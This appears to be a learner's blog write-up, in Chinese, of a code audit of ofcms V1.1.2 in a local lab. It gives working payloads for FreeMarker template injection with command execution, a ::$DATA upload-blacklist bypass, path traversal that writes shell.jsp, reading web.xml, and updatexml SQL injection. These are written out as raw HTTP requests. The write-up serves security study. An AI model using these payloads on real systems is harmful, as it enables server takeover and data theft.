ofcms代码审计过程


花了近半年时间学习了JavaEE,JavaWeb,只想感慨非专业零基础的人学习周期太长了,但也算是淌过这个坎了,学到反序列化CC链部分虽然能反向推导出CC1,但有些吃力,为了不打击自己,还是从简单的代码审计开始实践,正好新买的书里有ofcms-V1.1.2的漏洞讲解。

安装步骤:

1、ofcms-V1.1.2\ofcms-admin\src\main\resources\dev\conf\db.properties修改成自己的mysql账号密码。

2、数据库导入sql文件

3、命令行启动mysqld.exe进程(phpstudy自带)

4、idea远程调试,网上有相关步骤

漏洞一:模板注入

通过查看pom.xml,可以知道使用了freemarker模板,该版本存在模板注入

org.freemarker freemarker 2.3.21

同样在后台确实有模板设置功能,添加payload:<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

访问首页可以看到服务器弹窗

漏洞二:任意文件上传1(鸡肋)

搜索关键字upload,重点关注带参数

我们先看第一个带参数的upload ComnController的upload方法

我们进去看看UploadFile file文件是怎么生成的,this.getFile进去看看发生了什么。

该方法返回getFile(parameterName),uploadPath没有进,说明uploadPath不可控,如上图。

进入其getFile方法看到方法遍历uploadFiles,if判断文件名是否相同,相同则返回uploadFile,看来是将uploadFile在getFiles()进行处理(新手猜测勿喷),进去看看getFiles,根据之前Java的学习知道文件上传通常有三种方式:文件流的形式、ServletFileUpload方式、MultipartFile。可以看到这里应该是第三种方式,对其进行了封装,最后返回MultipartRequest类型的request。

看看MultipartRequest函数封装了什么

其又封装了wrapMultipartRequest,进去看看,调用了一个私有方法,封装的挺多,代码如下

 private void wrapMultipartRequest(HttpServletRequest request, String uploadPath, int maxPostSize, String encoding) {

  File dir = new File(uploadPath);

  if ( !dir.exists()) {

  if (!dir.mkdirs()) {

  throw new RuntimeException("Directory " + uploadPath + " not exists and can not create directory.");

  }

  }

 // String content_type = request.getContentType();

 //       if (content_type == null || content_type.indexOf("multipart/form-data") == -1) {

 //       throw new RuntimeException("Not multipart request, enctype=\"multipart/form-data\" is not found of form.");

 //       }

         uploadFiles = new ArrayList();

  try {

  multipartRequest = new  com.oreilly.servlet.MultipartRequest(request, uploadPath, maxPostSize, encoding, fileRenamePolicy);

  Enumeration files = multipartRequest.getFileNames();

  while (files.hasMoreElements()) {

  String name = (String)files.nextElement();

  String filesystemName = multipartRequest.getFilesystemName(name);

  // 文件没有上传则不生成 UploadFile, 这与 cos的解决方案不一样

  if (filesystemName != null) {

  String originalFileName = multipartRequest.getOriginalFileName(name);

  String contentType = multipartRequest.getContentType(name);

  UploadFile uploadFile = new UploadFile(name, uploadPath, filesystemName, originalFileName, contentType);

  if (isSafeFile(uploadFile)) {

  uploadFiles.add(uploadFile);

  }

  }

  }

  } catch (com.oreilly.servlet.multipart.ExceededSizeException e) {

  throw new ExceededSizeException(e);

  } catch (IOException e) {

  throw new RuntimeException(e);

  }

  }

重点读try/catch里面的代码块里面的isSafeFile函数,过了这里就可以文件上传了

看到是黑名单【.jsp,.jspx】,可尝试利用Windows特性::$DATA绕过

进行payload构造,只有file可控,只填了file参数

 

 

 

     utf-8">

     upload file

 

 

     
http://192.168.1.27:8080/ofcms_admin/admin/comn/service/upload" method="POST" enctype="multipart/form-data"> file" name="file"> submit" name="submit" value="上传文件">

但是没有找到路由及访问点,鸡肋。同一个类下的editUploadImage也可以

漏洞三:任意文件上传2(鸡肋)

同样的,通过关键字找到UeditorAction类的uploadImage方法也可能存在

一看跟任意文件上传1一样的原理,就不分析了,uploadImage、uploadFile、uploadVideo、uploadScrawl四个方法都可以。

漏洞四:任意文件写入

与文件上传类似,但不同的文件写入并非真正上传一个文件,而是将上传文件的代码通过web站点的功能直接写入服务器,如页面编辑。

搜索关键字:save,查看cms自定义的save方法,这里只有TemplateController的save方法参数可控(getPara("res_path")),被最终将内容写入(FileUtils.writeString)

public void save() {

         String resPath = getPara("res_path");

         File pathFile = null;

         if("res".equals(resPath)){

             pathFile = new File(SystemUtile.getSiteTemplateResourcePath());//获取站点模板资源路径

        }else {

             pathFile = new File(SystemUtile.getSiteTemplatePath());//获取站点模板路径

        }

         String dirName = getPara("dirs");

         if (dirName != null) {

             pathFile = new File(pathFile, dirName);

        }

         String fileName = getPara("file_name");

         // 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。

         String fileContent = getRequest().getParameter("file_content");

         fileContent = fileContent.replace("<", "<").replace(">", ">");

         File file = new File(pathFile, fileName);

         FileUtils.writeString(file, fileContent);

         rendSuccessJson();

    }

可以看到有四个参数,res_path、dirs、file_name、file_content,代码很直接,没有任何过滤。最后写入的代码FileUtils.writeString(file, fileContent)。

file由File pathFile控制,pathFile = new File(pathFile, dirName);,可以猜想应该是路径加文件名最后成为完整的文件路径,pathFile不可控,要么是绝对路径要么是相对路径,dirName由我们的dirs参数控制,所以最终可以拼接出类似:C://tomcat//webapps//xxxxx/xxx/../shell.jsp 的路径

fileContent由file_content参数决定。

所以构造payload

 POST /ofcms_admin/admin/cms/template/save HTTP/1.1
 Host: 192.168.1.27:8080
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Cookie: JSESSIONID=94334B2D1FE522DCAFAA3374DF2AD8AF
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 62
?
 res_path=res&dirs=../&file_name=shell.jsp&file_content=xsaxsax

目标机器成功上传该文件,但在该文件问下无法访问,这里我们第一想法是找一个可以访问的路径存放shell.jsp,首先就是背景图文件目录,即upload/image文件夹,发现还是404,但实际我们已经将shell.jsp上传成功

这时候就体现了代码审计前对cms的pomx.ml及web.xml分析的重要性,

可以看到所有url都会经过jfinal过滤器,可以看看JFinalFilter,主要看doFilter方法try内容

再看看哪些方法调用了handle,看看都有哪些过滤

最后可以看到ActionHandler重写了handle

 package com.ofsoft.cms.core.handler;

 import com.jfinal.handler.Handler;
 import com.ofsoft.cms.admin.controller.BaseController;


 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;

 ?

 /**

  * 请求后缀名处理

  *

  * @author OF

  * @date 2017年11月24日

  */

 public class ActionHandler extends Handler {

  private String[] suffix = { ".html", ".jsp", ".json" };

     public static final String exclusions = "static/";

  // private String baseApi = "api";

 ?

  public ActionHandler(String[] suffix) {

  super();

  this.suffix = suffix;

  }

 ?

  public ActionHandler() {

  super();

  }

 ?

  @Override

  public void handle(String target, HttpServletRequest request,

  HttpServletResponse response, boolean[] isHandled) {

  /**

  * 不包括 suffix 、以及api 地址的直接返回

  */

  /*

  * if (!isSuffix(target) && !"/".equals(target) &&

  * !target.contains(baseApi)) { return; }

  */

  //过虑静态文件

  if(target.contains(exclusions)){

  return;

  }

  target = isDisableAccess(target);

  BaseController.setRequestParams();

 // RequestSupport.setLocalRequest(request);

 // RequestSupport.setRequestParams();

  //JFinal.me().getAction(target,null);

  next.handle(target, request, response, isHandled);

  }

 ?

  private String isDisableAccess(String target) {

  for (int i = 0; i < suffix.length; i++) {

  String suffi =  getSuffix(target);

  if (suffi.contains(suffix[i])) {

  return target.replace(suffi, "");

  }

  }

  return target;

  }

 ?

  /*

  * private boolean isSuffix(String target) { for (int i = 0; i <

  * suffix.length; i++) { if (suffix[i].equalsIgnoreCase(getSuffix(target)))

  * { return true; } } return false; }

  */

 ?

  public static String getSuffix(String fileName) {

  if (fileName != null && fileName.contains(".")) {

  return fileName.substring(fileName.lastIndexOf("."));

  }

  return "";

  }

 }

?

可以看到URL如果包含static/直接renturn,跳出过滤,所以可以将shell文件放在static目录下

 POST /ofcms_admin/admin/cms/template/save HTTP/1.1
 Host: 192.168.1.27:8080
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Cookie: JSESSIONID=94334B2D1FE522DCAFAA3374DF2AD8AF
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 71

 res_path=res&dirs=../../static&file_name=shell.jsp&file_content=xsaxsax

访问成功

漏洞五:文件读取

搜索关键字FileInputStream

看到由FileUtil工具类和ReprotAction类

看看哪些调用了readString方法,总共就三处,第一处和第三处文件名写死的

第二处方法代码有点长,就不截图了

 public void getTemplates() {

         //当前目录

         String dirName = getPara("dir","");

         //上级目录

         String upDirName = getPara("up_dir","/");

         //类型区分

             String resPath = getPara("res_path");

         //文件目录

         String dir = null;

         if(!"/".equals(upDirName)){

               dir = upDirName+dirName;

        }else{

               dir = dirName;

        }

         File pathFile = null;

         if("res".equals(resPath)){

             pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);

        }else {

             pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);

        }

 ?

         File[] dirs = pathFile.listFiles(new FileFilter() {

             @Override

             public boolean accept(File file) {

                 return file.isDirectory();

            }

        });

         if(StringUtils.isBlank (dirName)){

             upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));

        }

         setAttr("up_dir_name",upDirName);

         setAttr("up_dir","".equals(dir)?"/":dir);

         setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);

         setAttr("dirs", dirs);

         /*if (dirName != null) {

             pathFile = new File(pathFile, dirName);

         }*/

         File[] files = pathFile.listFiles(new FileFilter() {

             @Override

             public boolean accept(File file) {

                 return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")

                         || file.getName().endsWith(".css") || file.getName().endsWith(".js"));

            }

        });

         setAttr("files", files);

         String fileName = getPara("file_name", "index.html");

         File editFile = null;

         if (fileName != null && files != null && files.length > 0) {

             for (File f : files) {

                 if (fileName.equals(f.getName())) {

                     editFile = f;

                     break;

                }

            }

             if (editFile == null) {

                 editFile = files[0];

                 fileName = editFile.getName();

            }

        }

 ?

         setAttr("file_name", fileName);

         if (editFile != null) {

             String fileContent = FileUtils.readString(editFile);

             if (fileContent != null) {

                 fileContent = fileContent.replace("<", "<").replace(">", ">");

                 setAttr("file_content", fileContent);

                 setAttr("file_path", editFile);

            }

        }

         if("res".equals(resPath)) {

             render("/admin/cms/template/resource.html");

        }else{

         render("/admin/cms/template/index.html");

        }

    }

editFile是由files遍历循环来的,所有还得往上看files是否可控

下图代码块意味着files只能是.html、xml、css、js的文件

查找pathFile,看到其结果是由绝对路径加dir组成,而dir由dirname决定,无过滤且参数可控

构造payload

GET /ofcms_admin/admin/cms/template/getTemplates?res_path=res&up_dir=&dir=../../WEB-INF&file_name=web.xml HTTP/1.1
 Host: 192.168.1.27:8080
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Cookie: JSESSIONID=94334B2D1FE522DCAFAA3374DF2AD8AF
 Connection: close

但只能读取html、xml、css、js文件,原因上面有表述,但也是有一定危害的,可以查看一些xml的配置文件

同时可能由于对files数组遍历的原因也有一个目录遍历漏洞

 

漏洞六:SQL注入

通过阅读pom.xml,发现没有使用mybaits等工具,直接搜索关键字Statement、select、update、insert

可以看到executeSQL封装了预编译,所以看该方法时一眼扫过,看看有没有预编译使用错误的。

最终在SystemGenerateController.create方法中看到sql文件来自于get请求,并且未进行预编译直接执行

构造payload

GET /ofcms_admin/admin/system/generate/create?sql=update%20of_cms_api%20set%20api_id=(updatexml(2,concat(0x7e,(select%20user())),0)) HTTP/1.1
 Host: 192.168.1.27:8080
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Cookie: JSESSIONID=94334B2D1FE522DCAFAA3374DF2AD8AF
 Connection: close

总结:

第一次审计Java代码,基本上都能静态审计出来,感觉还是因为学了CC链调试,回头再看这些代码就简单了。